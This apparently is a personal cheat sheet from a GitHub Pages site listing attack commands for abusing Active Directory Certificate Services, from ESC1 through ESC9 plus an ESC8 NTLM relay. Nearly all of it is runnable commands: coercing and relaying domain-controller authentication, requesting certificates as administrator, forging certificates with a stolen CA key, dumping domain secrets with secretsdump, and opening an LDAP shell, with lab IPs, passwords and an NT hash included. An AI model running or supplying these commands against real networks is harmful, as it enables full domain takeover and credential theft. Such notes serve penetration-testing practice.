root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

AD_CS ESC8


certipy-ad find -u "jtrueblood" -p "blood_brothers" -dc-ip "10.1.57.249" -vulnerable -enabled

image

cat *.txt | grep "ESC"

image

impacket-ntlmrelayx -t http://10.1.57.249/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication

image

nxc smb 10.1.57.249 -M coerce_plus -o LISTENER="10.200.88.20"

image

image

python3 gettgtpkinit.py -cert-pfx DC01.shadow.gate.pfx -dc-ip 10.1.57.249 shadow.gate/dc01$ admin.ccache

image

impacket-secretsdump -k -no-pass dc01.shadow.gate

image


ADCS ESC1


image

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'Custom_ESC1' -upn 'administrator@papa.local'

image

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136

image

image


ADCS 2


image

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136  -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'ESC2'

image

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136  -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -on-behalf-of administrator -pfx dev.pfx

image

certipy-ad auth -pfx administrator --dc-ip <ip>

image


ESC4


image

certipy-ad template   -u dev@papa.local   -p password   -template ESC4   -write-default-configuration \  -no-save 

image

-write-default-configuration enables ENROLLEE_SUPPLIES_SUBJECT and configures Client Authentication EKU making the template ESC1-vulnerable. -no-save skips saving a backup of the original configuration (omit this flag in real engagements to preserve the ability to restore).

image

certipy-ad auth --pfx administrator.pfx --dc-ip ip

image


ESC 5: : Vulnerable PKI Object Access Control


certipy-ad ca -backup -u administrator@papa.local -p hello -ca LAB-ROOT-CA -target 192.168.130.136

image

certipy-ad forge -ca-pfx 'LAB-ROOT-CA.pfx' -upn Administrator@papa.local -sid "S-1-5-21-1749148288-4111076168-2771517274-500"

image

certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.130.136

image


ESC6: Editf_attributesubjectaltname2


certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -upn 'administrator@papa.local'

image

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136 

image


ESC 7: Vulnerable Certificate Authority Access Control


image

certipy-ad  ca -ca LAB-ROOT-CA -add-officer dev -u dev@papa.local -p password -target 192.168.130.136 -dc-ip 192.168.130.136

image

certipy-ad ca -ca LAB-ROOT-CA -u dev@papa.local -p password -target 192.168.130.136 -enable-template SubCA -dc-ip 192.168.130.136

image

certipy-ad find -u "dev" -p "password" -dc-ip "192.168.130.136" -enabled

image

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'SubCA' -upn 'administrator@papa.local'

image


ESC 9


image

certipy-ad shadow auto -u dev -p 'password' -account "matt" -dc-ip 192.168.130.136 -debug 

image

certipy-ad account update -u 'dev' -p 'password' -dc-ip 192.168.130.136 -user 'matt' -upn 'Administrator@domain.local'

image

certipy-ad req -u matt@papa.local -hashes e8cd0e4a9e89eab931dc5338fcbec54a  -ca LAB-ROOT-CA -template ESC9 -dc-ip 192.168.130.136

image

certipy-ad account update -u dev@papa.local -password 'password' -user 'matt' -upn matt@papa.local -dc-ip 192.168.130.136

image


Ldap shell with pfx


certipy-ad auth  -pfx administrator_f5c613b3-bfb9-4e4b-980a-1a80242d2ab4.pfx -ldap-shell -dc-ip 192.168.130.136

image